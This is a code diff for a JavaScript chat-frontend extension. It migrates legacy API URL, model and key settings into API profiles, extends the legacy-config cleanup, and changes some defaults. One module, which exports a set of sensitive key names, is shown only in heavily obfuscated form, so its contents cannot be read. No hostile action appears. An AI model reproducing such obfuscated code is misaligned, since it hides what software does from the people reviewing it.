if (!apiProfileManager.getAssignment('autoCharCard')) {
const exec = s.acc_executor_config || {};
const plan = s.acc_planner_config || {};
const execComplete = String(exec.apiUrl ?? '').trim() && String(exec.model ?? '').trim();
const planEmpty = !String(plan.apiUrl ?? '').trim();
const planSame = plan.apiUrl === exec.apiUrl && plan.model === exec.model && plan.apiKey === exec.apiKey;
if (execComplete && (planEmpty || planSame)) {
const provider = _detectVendorFromUrlSync(exec.apiUrl) || 'custom_oai';
const profileId = apiProfileManager.createProfile({
type: 'chat',
name: '一键生卡 旧配置',
provider,
apiUrl: exec.apiUrl,
model: exec.model,
maxTokens: exec.maxTokens ?? undefined,
temperature: exec.temperature ?? undefined,
});
// acc 的 Key 明文存在嵌套对象里(不在 configManager直接写入 ApiKeyStore。
// 排除 profile-sync 历史污染写回的掩码占位符,避免把 '••••••••' 当真 Key 迁移
try {
if (exec.apiKey && exec.apiKey !== '••••••••') await apiProfileManager.setKey(profileId, exec.apiKey);
} catch (keyErr) {
console.warn('[ApiProfiles] autoCharCard Key 迁移失败:', keyErr);
}
apiProfileManager.setAssignment('autoCharCard', profileId);
migrated.push(`autoCharCard → ${profileId}`);
} else if (execComplete) {
console.info('[ApiProfiles] autoCharCard 的规划者与执行者配置不同,跳过自动迁移(迁移会让两角色共用一份配置)。请在 API 连接配置面板手动处理。');
}
}
// 新引入的 slot无 legacy 字段可迁移)默认借用其他 slot 的 profile
// 让升级用户的功能不至于因为没主动分配而中断。用户可以随后改成专属 profile。
const SLOT_INHERITANCE = {
@@ -466,7 +525,8 @@ const LEGACY_PROFILE_MIGRATION_MAP = [
}
}
s._legacyProfileMigrationDone = true;
s._legacyProfileMigrationDone = true; // 兼容旧版本读取
s._legacyProfileMigrationVersion = LEGACY_MIGRATION_VERSION;
saveSettingsDebounced();
if (migrated.length > 0 || linked.length > 0) {
@@ -523,6 +583,17 @@ export function clearLegacyConfig() {
}
}
// autoCharCard 不在平铺映射里,单独校验:嵌套配置仍有内容且未分配 profile 时拒绝清除
const accHasLegacy = String(s.acc_executor_config?.apiUrl ?? '').trim() || String(s.acc_planner_config?.apiUrl ?? '').trim();
if (accHasLegacy && !apiProfileManager.getAssignment('autoCharCard')) {
return {
ok: false,
error: '槽位 "autoCharCard" 仍有旧配置但未分配 profile清除会导致一键生卡不可用。请先在 API 连接配置面板为它分配 profile。',
clearedFields: 0,
clearedKeys: 0,
};
}
// 全套 legacy 字段(含 maxTokens / temperature / apiMode / tavernProfile / fakeStream / enabled 等)
const ALL_LEGACY_FIELDS = {
main: ['apiUrl', 'model', 'maxTokens', 'temperature', 'apiProvider', 'tavernProfile'],
@@ -531,6 +602,9 @@ export function clearLegacyConfig() {
ngms: ['ngmsApiUrl', 'ngmsModel', 'ngmsApiMode', 'ngmsTavernProfile', 'ngmsMaxTokens', 'ngmsTemperature', 'ngmsFakeStreamEnabled'],
nccs: ['nccsApiUrl', 'nccsModel', 'nccsApiMode', 'nccsTavernProfile', 'nccsMaxTokens', 'nccsTemperature', 'nccsFakeStreamEnabled'],
sybd: ['sybdApiUrl', 'sybdModel', 'sybdApiMode', 'sybdTavernProfile', 'sybdMaxTokens', 'sybdTemperature'],
cwb: ['cwb_api_url', 'cwb_api_model', 'cwb_api_mode', 'cwb_tavern_profile', 'cwb_max_tokens', 'cwb_temperature'],
// autoCharCard 的旧配置是两份嵌套对象(含明文 Key整体删除
autoCharCard: ['acc_executor_config', 'acc_planner_config'],
// jqyh 字段也清掉(已合并到 plotOpt 但残留可能还在)
jqyh: ['jqyhApiUrl', 'jqyhModel', 'jqyhApiMode', 'jqyhTavernProfile', 'jqyhMaxTokens', 'jqyhTemperature', 'jqyhEnabled'],
};
@@ -542,6 +616,7 @@ export function clearLegacyConfig() {
ngms: 'ngmsApiKey',
nccs: 'nccsApiKey',
sybd: 'sybdApiKey',
cwb: 'cwb_api_key',
jqyh: 'jqyhApiKey',
};

View File

@@ -29,6 +29,7 @@ function sanitizeRuleProfile(profile = {}) {
tagExtractionEnabled: Boolean(profile.tagExtractionEnabled),
tags: String(profile.tags ?? ''),
exclusionRules,
excludeUserMessages: Boolean(profile.excludeUserMessages),
};
}
@@ -44,6 +45,7 @@ function cloneRuleProfile(profile = {}) {
end: rule.end || '',
}))
: [],
excludeUserMessages: Boolean(profile.excludeUserMessages),
};
}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -1 +1 @@
const a0_0x12bdd0=a0_0x2c8a;function a0_0xe868(){const _0x2310ad=['jSoxW7VdQX1uySkcWO/cPG','jSkQh8kKW4hcMZxdGmkHjHRdLxvo','CSoCyvpdS8okW5RcNSkmW7u','kLCYxNjdWRRcNfFdKq','AqFdOaBdPH3cL0pcKwq','DeGZWOnGxdNcSSozy8odW4ma','haeZWRRcOCkRW7pcRmktWPtdS300WPi','e8kQeCoVWONdJCkpfSkTWOW','DbNdRXhdPH3cL0pcKwq','W5OUDaWNW5BcPmkxW47dG0q','W5GPFXGJW58','ke/cTLpcKt/cShZcVuNdRa','W7WtW6JcQJrKW4qDW6NdLG','W4PWW7LpWPC7cCkvW4v4W6RdLwpcImkmDgiAW57dS2KrWQOh','eSkUrSkBWQtdTCk+eG','W4f9emk7vSkhW4i1Emkoca7cOue','lmo8WRbjyHTpW5pcLXm0d0G','WOSRWQmkW6b5tmo6W4b5W6BdNgZcVW','W6ldVmkWpSoWtCo9','vg4TW7f1tqO','a8oeWOvRWR/dOgbFsSoo','W70tW6JcQqLJW6a/W5ZdLG','WR1KWQddVdqlbxHhW4Wswq','sCoqmCo3AbG8t8ojcfzgW50','W77cUmoBmqFdJmk6uCkovW9AWPC','WR5QWQZdVZGbEcrLW4yCrtjY','smkfbCoNrbZcUY9CkLtcTG','A2/cRba+WOhcKZXZns0','WO18W5aWWOvaiq/dUCks','ymolW6WGcCkxhmkg'];a0_0xe868=function(){return _0x2310ad;};return a0_0xe868();}function a0_0x2c8a(_0x304b6c,_0x4753ee){_0x304b6c=_0x304b6c-0x14b;const _0xe868c1=a0_0xe868();let _0x2c8a17=_0xe868c1[_0x304b6c];if(a0_0x2c8a['jcUhOn']===undefined){var _0x18b1a8=function(_0x1913f1){const _0x46992d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2b0883='',_0x1ba5bf='';for(let _0x326410=0x0,_0x191402,_0xa4aacd,_0x5bc31b=0x0;_0xa4aacd=_0x1913f1['charAt'](_0x5bc31b++);~_0xa4aacd&&(_0x191402=_0x326410%0x4?_0x191402*0x40+_0xa4aacd:_0xa4aacd,_0x326410++%0x4)?_0x2b0883+=String['fromCharCode'](0xff&_0x191402>>(-0x2*_0x326410&0x6)):0x0){_0xa4aacd=_0x46992d['indexOf'](_0xa4aacd);}for(let _0x370001=0x0,_0x2d81b6=_0x2b0883['length'];_0x370001<_0x2d81b6;_0x370001++){_0x1ba5bf+='%'+('00'+_0x2b0883['charCodeAt'](_0x370001)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x1ba5bf);};const _0x36b387=function(_0x308a27,_0x155f05){let _0x23e23a=[],_0xa9db3e=0x0,_0x503250,_0x435a1e='';_0x308a27=_0x18b1a8(_0x308a27);let _0x96001c;for(_0x96001c=0x0;_0x96001c<0x100;_0x96001c++){_0x23e23a[_0x96001c]=_0x96001c;}for(_0x96001c=0x0;_0x96001c<0x100;_0x96001c++){_0xa9db3e=(_0xa9db3e+_0x23e23a[_0x96001c]+_0x155f05['charCodeAt'](_0x96001c%_0x155f05['length']))%0x100,_0x503250=_0x23e23a[_0x96001c],_0x23e23a[_0x96001c]=_0x23e23a[_0xa9db3e],_0x23e23a[_0xa9db3e]=_0x503250;}_0x96001c=0x0,_0xa9db3e=0x0;for(let _0x3d0156=0x0;_0x3d0156<_0x308a27['length'];_0x3d0156++){_0x96001c=(_0x96001c+0x1)%0x100,_0xa9db3e=(_0xa9db3e+_0x23e23a[_0x96001c])%0x100,_0x503250=_0x23e23a[_0x96001c],_0x23e23a[_0x96001c]=_0x23e23a[_0xa9db3e],_0x23e23a[_0xa9db3e]=_0x503250,_0x435a1e+=String['fromCharCode'](_0x308a27['charCodeAt'](_0x3d0156)^_0x23e23a[(_0x23e23a[_0x96001c]+_0x23e23a[_0xa9db3e])%0x100]);}return _0x435a1e;};a0_0x2c8a['NTubId']=_0x36b387,a0_0x2c8a['MoFRcc']={},a0_0x2c8a['jcUhOn']=!![];}const _0x20dc23=_0xe868c1[0x0],_0x5d3cb6=_0x304b6c+_0x20dc23,_0x528ac1=a0_0x2c8a['MoFRcc'][_0x5d3cb6];return!_0x528ac1?(a0_0x2c8a['fNoJzu']===undefined&&(a0_0x2c8a['fNoJzu']=!![]),_0x2c8a17=a0_0x2c8a['NTubId'](_0x2c8a17,_0x4753ee),a0_0x2c8a['MoFRcc'][_0x5d3cb6]=_0x2c8a17):_0x2c8a17=_0x528ac1,_0x2c8a17;}(function(_0x4c2a6a,_0x346219){const _0x5bd686=a0_0x2c8a,_0x2d34d9=_0x4c2a6a();while(!![]){try{const _0x5c1eb4=-parseInt(_0x5bd686(0x152,'OKVo'))/0x1*(parseInt(_0x5bd686(0x159,'$uDP'))/0x2)+-parseInt(_0x5bd686(0x15b,'zjli'))/0x3*(parseInt(_0x5bd686(0x153,'1TWk'))/0x4)+-parseInt(_0x5bd686(0x156,'@WMS'))/0x5+-parseInt(_0x5bd686(0x14f,'#aez'))/0x6+parseInt(_0x5bd686(0x14b,')Qkj'))/0x7*(-parseInt(_0x5bd686(0x15a,'ZUO0'))/0x8)+parseInt(_0x5bd686(0x163,'[5%]'))/0x9+parseInt(_0x5bd686(0x150,'YSYZ'))/0xa*(parseInt(_0x5bd686(0x14d,'^K]y'))/0xb);if(_0x5c1eb4===_0x346219)break;else _0x2d34d9['push'](_0x2d34d9['shift']());}catch(_0x12a77b){_0x2d34d9['push'](_0x2d34d9['shift']());}}}(a0_0xe868,0xbb112));export const SENSITIVE_KEYS=new Set([a0_0x12bdd0(0x167,'Cc2E'),a0_0x12bdd0(0x15e,'2eTc'),a0_0x12bdd0(0x14c,'YSYZ'),a0_0x12bdd0(0x165,'1rYK'),a0_0x12bdd0(0x15d,'*W5g'),a0_0x12bdd0(0x160,'lh[O'),a0_0x12bdd0(0x166,'Cc2E'),a0_0x12bdd0(0x161,'1rYK')]);
const a0_0xb649e2=a0_0x375c;(function(_0x64334b,_0x15b67e){const _0x4e79ff=a0_0x375c,_0x2b2857=_0x64334b();while(!![]){try{const _0x4901eb=parseInt(_0x4e79ff(0x123,'2@lL'))/0x1+parseInt(_0x4e79ff(0x122,'0Kh&'))/0x2*(parseInt(_0x4e79ff(0x124,'o(#F'))/0x3)+-parseInt(_0x4e79ff(0x129,'376W'))/0x4+-parseInt(_0x4e79ff(0x11a,'Iv5i'))/0x5+parseInt(_0x4e79ff(0x12f,'W(LY'))/0x6+-parseInt(_0x4e79ff(0x12e,'NgGk'))/0x7+-parseInt(_0x4e79ff(0x121,'*K2g'))/0x8;if(_0x4901eb===_0x15b67e)break;else _0x2b2857['push'](_0x2b2857['shift']());}catch(_0x464eb2){_0x2b2857['push'](_0x2b2857['shift']());}}}(a0_0x1872,0xd8973));function a0_0x375c(_0xfe4ae7,_0x41e131){_0xfe4ae7=_0xfe4ae7-0x11a;const _0x1872bb=a0_0x1872();let _0x375c7d=_0x1872bb[_0xfe4ae7];if(a0_0x375c['bBaMZB']===undefined){var _0x434c9a=function(_0x2af3e1){const _0x53693e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x568539='',_0x5ae763='';for(let _0xcab226=0x0,_0x16a280,_0x5d9229,_0x12dc01=0x0;_0x5d9229=_0x2af3e1['charAt'](_0x12dc01++);~_0x5d9229&&(_0x16a280=_0xcab226%0x4?_0x16a280*0x40+_0x5d9229:_0x5d9229,_0xcab226++%0x4)?_0x568539+=String['fromCharCode'](0xff&_0x16a280>>(-0x2*_0xcab226&0x6)):0x0){_0x5d9229=_0x53693e['indexOf'](_0x5d9229);}for(let _0x212fc8=0x0,_0x4713a8=_0x568539['length'];_0x212fc8<_0x4713a8;_0x212fc8++){_0x5ae763+='%'+('00'+_0x568539['charCodeAt'](_0x212fc8)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5ae763);};const _0x57e4d6=function(_0x4726f5,_0x1b6168){let _0x29f827=[],_0x17d8d2=0x0,_0x1b4437,_0x134a1e='';_0x4726f5=_0x434c9a(_0x4726f5);let _0x12be5b;for(_0x12be5b=0x0;_0x12be5b<0x100;_0x12be5b++){_0x29f827[_0x12be5b]=_0x12be5b;}for(_0x12be5b=0x0;_0x12be5b<0x100;_0x12be5b++){_0x17d8d2=(_0x17d8d2+_0x29f827[_0x12be5b]+_0x1b6168['charCodeAt'](_0x12be5b%_0x1b6168['length']))%0x100,_0x1b4437=_0x29f827[_0x12be5b],_0x29f827[_0x12be5b]=_0x29f827[_0x17d8d2],_0x29f827[_0x17d8d2]=_0x1b4437;}_0x12be5b=0x0,_0x17d8d2=0x0;for(let _0x5c5d1a=0x0;_0x5c5d1a<_0x4726f5['length'];_0x5c5d1a++){_0x12be5b=(_0x12be5b+0x1)%0x100,_0x17d8d2=(_0x17d8d2+_0x29f827[_0x12be5b])%0x100,_0x1b4437=_0x29f827[_0x12be5b],_0x29f827[_0x12be5b]=_0x29f827[_0x17d8d2],_0x29f827[_0x17d8d2]=_0x1b4437,_0x134a1e+=String['fromCharCode'](_0x4726f5['charCodeAt'](_0x5c5d1a)^_0x29f827[(_0x29f827[_0x12be5b]+_0x29f827[_0x17d8d2])%0x100]);}return _0x134a1e;};a0_0x375c['tIPMZJ']=_0x57e4d6,a0_0x375c['KrDxKH']={},a0_0x375c['bBaMZB']=!![];}const _0x202817=_0x1872bb[0x0],_0x30662f=_0xfe4ae7+_0x202817,_0x4ee7bd=a0_0x375c['KrDxKH'][_0x30662f];return!_0x4ee7bd?(a0_0x375c['aWuRyq']===undefined&&(a0_0x375c['aWuRyq']=!![]),_0x375c7d=a0_0x375c['tIPMZJ'](_0x375c7d,_0x41e131),a0_0x375c['KrDxKH'][_0x30662f]=_0x375c7d):_0x375c7d=_0x4ee7bd,_0x375c7d;}export const SENSITIVE_KEYS=new Set([a0_0xb649e2(0x11c,'F9V%'),a0_0xb649e2(0x125,'va[)'),a0_0xb649e2(0x120,'Qj(P'),a0_0xb649e2(0x127,'JAUQ'),a0_0xb649e2(0x11f,'A@1$'),a0_0xb649e2(0x11b,'^bc9'),a0_0xb649e2(0x11d,'vtUq'),a0_0xb649e2(0x128,'jLPT')]);function a0_0x1872(){const _0x2fc826=['W4FcGxFcRqfMvLabjCoFt8o3','W6VcVmkcr1nspxJdMeScsmkJ','W7q1W4f+W6ZdMSoZWPnUfa','oYtcSmkHWO7dQX81W7VcRrvGoW','W4auAIqcW653W4v1W7RdRSk7oW','ECoXbSoTBqZcP8orfbJcNSowWOq','W5NdTmoNWOv9CghdSCkFWOiDluxdSa','CmoisdiNW5akz8oud8oUemkDWOG','W5RdTmoNWOKlnqVcRCkyWPu','W61JW6JcKYuQW5iQaSk6W7ddRGm','WOe0W4nmfSkpxmo4yI4','W51eWOxcTSogdG','Fmo+tKpcIWLIdJ8sW5i','WR3dTMhcTGmVB8oFj8kZW4rZW78','WQhcVGKVWPNcK8oTWRTcFW','WOXMyCokuNOtkCkQWRvDW7e/pshdTCkpW5BcPmkziNyajW','a8kXc8oUW6RcH8kFyCk7bSkPWOTR','ASkdW4LLbfxcVCkVD8oE','CLBdJZNdUCoPW4zXWOu5WQmcDq','WPFcKmk0WR7dKJvedCksva','pqOGtCopgNNdJSocvZZdVSkWWOi','CmomtJmJW58joSoKa8otdSkD','v3bmdxL7cI0jW54','WRZdKmkYfmolWOumWRybWRO'];a0_0x1872=function(){return _0x2fc826;};return a0_0x1872();}

View File

@@ -938,7 +938,7 @@ export const mainOptDefaults = {
suppressToast: false,
optimizationMode: "intercept",
optimizationTargetTag: 'content',
optimizationEnabled: true,
optimizationEnabled: false,
optimizationExclusionEnabled: false,
optimizationExclusionRules: [],
greetingOptimizationEnabled: false,